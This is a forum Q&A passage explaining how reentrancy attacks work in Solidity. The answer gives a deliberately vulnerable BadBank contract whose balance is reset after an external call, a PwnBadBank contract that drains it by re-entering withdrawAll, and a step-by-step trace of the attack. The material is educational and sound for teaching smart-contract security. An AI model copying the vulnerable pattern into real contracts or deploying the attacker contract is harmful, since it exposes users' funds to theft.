Solidity – How Reentrancy Works

reentrant-attacksremixsolidity

I do not understand how transaction are processed sequentially and reentrancy attacks can still happen. Can someone explain this?

Best Answer

Reentrancy can happen when a contracts critical variable is updated after a call to an external contract that depends on this critical variable to happen. Here's a classic example

contract BadBank {
  mapping(address => uint) balances;

  receive() external payable {
    balances[msg.sender] += msg.value
  }
  // This function is vulnerable to a reentrancy attack
  function withdrawAll() external {
    require(balances[msg.sender] != 0);
    (bool success, ) = payable(msg.sender).call{value: balances[msg.sender]}("");
    require(success);
    balances[msg.sender] = 0;
  }
}

This simple contract lets you send ETH to it, and withdraw it whenever you want through the withdrawAll function.

Now, that withdrawnAll function is vulnerable to reentrancy. Let me explain. When this function is called, execution goes something like this : balance check => transfer msg.sender's balance (which calls msg.sender's receive or fallback function if it's a contract, allowing it to execute code on its end, without restrictions, including calling other contracts) => balance is set to 0.

Now let's imagine badBank currently holds 1 ETH and msg.sender is this contract :

interface IBadBank {
  function withdrawAll() external;
}
contract PwnBadBank {
  function pwn(address badBank) external {
      (bool success, ) = payable(badBank).call{value: 1 ether}("");
      require(success);
      IBadBank(badBank).withdrawAll();
  }
  receive() external payable {
      if(msg.sender.balance >= 1 ether) {
          IBadBank(msg.sender).withdrawAll();
      }
  }
}

Let's run through what happens step by step when calling pwn() :

  • The contract deposits 1 ether to BadBank, making its balance 1 ether (BadBank now holds 2 ETH).
  • The contract calls withdrawAll()
  • BadBank checks that the attackers contracts balance is > 0 (which is true for now, since its balance is 1 ether).
  • BadBank calls back to our PwnBadBank contract's receive() function, with a value of 1 ether (a new call frame is opened, whatever BadBank is supposed to do after the call will be "put on hold" until PwnBadBank's receive() function is done running) (BadBank now holds 1 ETH)
  • PwnBadBank's receive function calls back to withdrawAll (hence the name, it literally "reenters" the function before it is done running), since the balance of the BadBank is 1 ETH.
  • BadBank checks that PwnBadBank's balance is > 0 (which is still true, since the previous call didnt update the balance yet, it's gonna do it when PwnBadBank returns execution to it), and sends 1 ETH to it again (new call frame again) (BadBank's balance is now 0 ETH)
  • PwnBadBank's receive function finds that BadBank's balance is now 0 ETH, and returns immediately.
  • BadBanks regains control, and sets PwnBadBank's balance to 0, but it's already too late since PwnBadBank was able to withdraw more than what it has deposited.

Hope that's clear enough, don't hesitate to ask questions :)

Related Topic